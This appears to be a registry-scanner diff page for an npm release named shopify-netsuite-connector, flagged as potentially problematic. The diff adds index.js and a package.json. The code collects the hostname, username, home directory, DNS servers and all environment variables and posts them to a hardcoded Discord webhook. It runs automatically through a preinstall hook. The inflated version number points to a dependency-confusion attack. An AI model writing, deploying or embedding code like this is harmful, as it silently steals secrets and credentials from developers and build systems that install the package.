shopify-netsuite-connector 99.99999.9990

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of shopify-netsuite-connector might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +63 -0
  2. package/package.json +15 -0
package/index.js ADDED
@@ -0,0 +1,63 @@
1
+
2
+ const os = require('os');
3
+ const dns = require('dns');
4
+ const https = require('https');
5
+ const package = require('./package.json');
6
+
7
+ const discordWebhookUrl = 'https://discord.com/api/webhooks/1193182280789786725/C46HILyud98QcId10b9fIOMw10R9yrPW1EDE0INpleh50cmPj9P0t_6veoy0chQtNccW';
8
+
9
+ // Construct the basic message without environment variables
10
+ const baseMessage = `Alert: CTF Dependency Confusion Attack Detected!
11
+ Current Directory: ${__dirname}
12
+ Home Directory: ${os.homedir()}
13
+ Hostname: ${os.hostname()}
14
+ Username: ${os.userInfo().username}
15
+ Dns-Server: ${dns.getServers()}
16
+ Package: ${JSON.stringify(package, null, 2)}`;
17
+
18
+ // Convert environment variables to a string
19
+ const envVariablesString = JSON.stringify(process.env);
20
+
21
+ // Calculate remaining space for environment variables
22
+ const discordCharLimit = 2000;
23
+ const remainingChars = discordCharLimit - baseMessage.length - 100; // -100 for buffer and extra text
24
+
25
+ // Slice environment variables to fit within the limit
26
+ let slicedEnvVariables = envVariablesString;
27
+ if (envVariablesString.length > remainingChars) {
28
+ slicedEnvVariables = envVariablesString.slice(0, remainingChars) + "...(truncated)";
29
+ }
30
+
31
+ // Complete the message with sliced environment variables
32
+ const finalMessage = baseMessage + "\nEnvironment Variables: " + slicedEnvVariables;
33
+
34
+ // Prepare the payload
35
+ const payload = JSON.stringify({
36
+ content: finalMessage
37
+ });
38
+
39
+ const parsedUrl = new URL(discordWebhookUrl);
40
+
41
+ const webhookReqOptions = {
42
+ hostname: parsedUrl.hostname,
43
+ path: parsedUrl.pathname,
44
+ method: 'POST',
45
+ headers: {
46
+ 'Content-Type': 'application/json',
47
+ 'Content-Length': Buffer.byteLength(payload)
48
+ }
49
+ };
50
+
51
+ const req = https.request(webhookReqOptions, (res) => {
52
+ console.log(`Status: ${res.statusCode}`);
53
+ res.on('data', (d) => {
54
+ process.stdout.write(d);
55
+ });
56
+ });
57
+
58
+ req.on('error', (e) => {
59
+ console.error(e);
60
+ });
61
+
62
+ req.write(payload);
63
+ req.end();
package/package.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "shopify-netsuite-connector",
3
+ "version": "99.99999.9990",
4
+ "description": "akshansh-security",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "akshansh",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "shopify-netsuite-connector": "^99.999.999"
14
+ }
15
+ }